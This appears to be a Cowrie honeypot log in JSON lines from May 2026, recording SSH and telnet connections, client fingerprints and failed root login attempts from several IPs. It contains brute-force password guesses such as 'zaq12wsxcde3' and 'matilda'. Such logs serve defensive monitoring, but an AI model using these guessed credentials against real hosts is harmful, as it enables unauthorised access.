{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:02.296684Z","src_ip":"103.173.227.57","session":"8315c1cd97cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:02.539576Z","src_ip":"103.173.227.57","session":"8315c1cd97cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsxcde3","message":"login attempt [root/zaq12wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:03.266432Z","src_ip":"103.173.227.57","session":"8315c1cd97cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:04.512085Z","src_ip":"103.173.227.57","session":"8315c1cd97cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.73546028137207,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:04.817135Z","src_ip":"152.42.224.71","session":"f6c65d62decb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.09581136703491,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:14.530144Z","src_ip":"152.42.224.71","session":"dda81de1623d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45516,"dst_ip":"10.17.0.5","dst_port":23,"session":"60483e6a98c2","protocol":"telnet","message":"New connection: 152.42.224.71:45516 (10.17.0.5:23) [session: 60483e6a98c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:16.300202Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":43026,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff6a44572cae","protocol":"ssh","message":"New connection: 147.45.199.80:43026 (159.203.135.109:22) [session: ff6a44572cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:20.526091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:20.532471Z","src_ip":"147.45.199.80","session":"ff6a44572cae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:20.632923Z","src_ip":"147.45.199.80","session":"ff6a44572cae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3easd","message":"login attempt [root/1q2w3easd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:20.932362Z","src_ip":"147.45.199.80","session":"ff6a44572cae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:22.035113Z","src_ip":"147.45.199.80","session":"ff6a44572cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45518,"dst_ip":"10.17.0.5","dst_port":23,"session":"873cecdbd224","protocol":"telnet","message":"New connection: 152.42.224.71:45518 (10.17.0.5:23) [session: 873cecdbd224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:22.279072Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36158,"dst_ip":"10.17.0.5","dst_port":23,"session":"f187df502116","protocol":"telnet","message":"New connection: 152.42.224.71:36158 (10.17.0.5:23) [session: f187df502116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:28.625876Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45850,"dst_ip":"10.17.0.5","dst_port":23,"session":"17990fdac952","protocol":"telnet","message":"New connection: 152.42.224.71:45850 (10.17.0.5:23) [session: 17990fdac952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:44.645473Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50180,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4821c92a79c","protocol":"telnet","message":"New connection: 152.42.224.71:50180 (10.17.0.5:23) [session: c4821c92a79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:50.071710Z"}
{"eventid":"cowrie.session.closed","duration":111.53480124473572,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:50.263968Z","src_ip":"152.42.224.71","session":"7fc2d271e7bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42864,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1e596993efb","protocol":"telnet","message":"New connection: 152.42.224.71:42864 (10.17.0.5:23) [session: e1e596993efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:00.167579Z"}
{"eventid":"cowrie.session.closed","duration":14.0956289768219,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:04.167246Z","src_ip":"152.42.224.71","session":"c4821c92a79c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.70700240135193,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:10.007019Z","src_ip":"152.42.224.71","session":"60483e6a98c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54068,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d4d346ef076","protocol":"telnet","message":"New connection: 152.42.224.71:54068 (10.17.0.5:23) [session: 3d4d346ef076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:16.390893Z"}
{"eventid":"cowrie.session.closed","duration":54.96997952461243,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:17.248938Z","src_ip":"152.42.224.71","session":"873cecdbd224","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.27373242378235,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:18.919105Z","src_ip":"152.42.224.71","session":"17990fdac952","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.85048747062683,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:32.476227Z","src_ip":"152.42.224.71","session":"f187df502116","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.10340237617493,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:36.270720Z","src_ip":"152.42.224.71","session":"e1e596993efb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":46088,"dst_ip":"10.17.0.5","dst_port":22,"session":"daa900305a06","protocol":"ssh","message":"New connection: 103.27.238.116:46088 (10.17.0.5:22) [session: daa900305a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:43.971954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:43.976943Z","src_ip":"103.27.238.116","session":"daa900305a06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:44.259669Z","src_ip":"103.27.238.116","session":"daa900305a06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1020304050","message":"login attempt [root/1020304050] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:45.098754Z","src_ip":"103.27.238.116","session":"daa900305a06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59208,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c18540555ec","protocol":"telnet","message":"New connection: 152.42.224.71:59208 (10.17.0.5:23) [session: 4c18540555ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:45.797948Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:46.381218Z","src_ip":"103.27.238.116","session":"daa900305a06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35590,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ecfe8372158","protocol":"telnet","message":"New connection: 152.42.224.71:35590 (10.17.0.5:23) [session: 6ecfe8372158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:54.244832Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":50068,"dst_ip":"10.17.0.5","dst_port":22,"session":"5959c13a310c","protocol":"ssh","message":"New connection: 103.27.238.120:50068 (10.17.0.5:22) [session: 5959c13a310c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:59.635765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:59.641105Z","src_ip":"103.27.238.120","session":"5959c13a310c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:27:59.920369Z","src_ip":"103.27.238.120","session":"5959c13a310c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"matilda","message":"login attempt [root/matilda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:00.751933Z","src_ip":"103.27.238.120","session":"5959c13a310c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54216,"dst_ip":"10.17.0.5","dst_port":23,"session":"cee8423e676e","protocol":"telnet","message":"New connection: 152.42.224.71:54216 (10.17.0.5:23) [session: cee8423e676e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:01.775720Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:02.044092Z","src_ip":"103.27.238.120","session":"5959c13a310c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54232,"dst_ip":"10.17.0.5","dst_port":23,"session":"3657043bb962","protocol":"telnet","message":"New connection: 152.42.224.71:54232 (10.17.0.5:23) [session: 3657043bb962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:02.328334Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":54706,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b1909a2f4fe","protocol":"ssh","message":"New connection: 109.172.54.111:54706 (159.203.135.109:22) [session: 3b1909a2f4fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:09.432817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:09.437822Z","src_ip":"109.172.54.111","session":"3b1909a2f4fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:09.540703Z","src_ip":"109.172.54.111","session":"3b1909a2f4fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48262,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1818d6fc9f5","protocol":"telnet","message":"New connection: 152.42.224.71:48262 (10.17.0.5:23) [session: b1818d6fc9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:09.793602Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"p123456","message":"login attempt [root/p123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:09.870225Z","src_ip":"109.172.54.111","session":"3b1909a2f4fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:10.973689Z","src_ip":"109.172.54.111","session":"3b1909a2f4fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48272,"dst_ip":"10.17.0.5","dst_port":23,"session":"129c22a91d06","protocol":"telnet","message":"New connection: 152.42.224.71:48272 (10.17.0.5:23) [session: 129c22a91d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:14.116562Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50216,"dst_ip":"10.17.0.5","dst_port":23,"session":"eee1914a078e","protocol":"telnet","message":"New connection: 152.42.224.71:50216 (10.17.0.5:23) [session: eee1914a078e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:22.627553Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50218,"dst_ip":"10.17.0.5","dst_port":23,"session":"517acafdc82a","protocol":"telnet","message":"New connection: 152.42.224.71:50218 (10.17.0.5:23) [session: 517acafdc82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:24.167247Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":56330,"dst_ip":"10.17.0.5","dst_port":22,"session":"28dbab0b4b54","protocol":"ssh","message":"New connection: 194.113.233.25:56330 (10.17.0.5:22) [session: 28dbab0b4b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:30.798606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:30.813543Z","src_ip":"194.113.233.25","session":"28dbab0b4b54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:30.897618Z","src_ip":"194.113.233.25","session":"28dbab0b4b54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36120,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fde27c648c2","protocol":"telnet","message":"New connection: 152.42.224.71:36120 (10.17.0.5:23) [session: 5fde27c648c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:31.193489Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"analizi","message":"login attempt [root/analizi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:31.270530Z","src_ip":"194.113.233.25","session":"28dbab0b4b54","protocol":"ssh"}
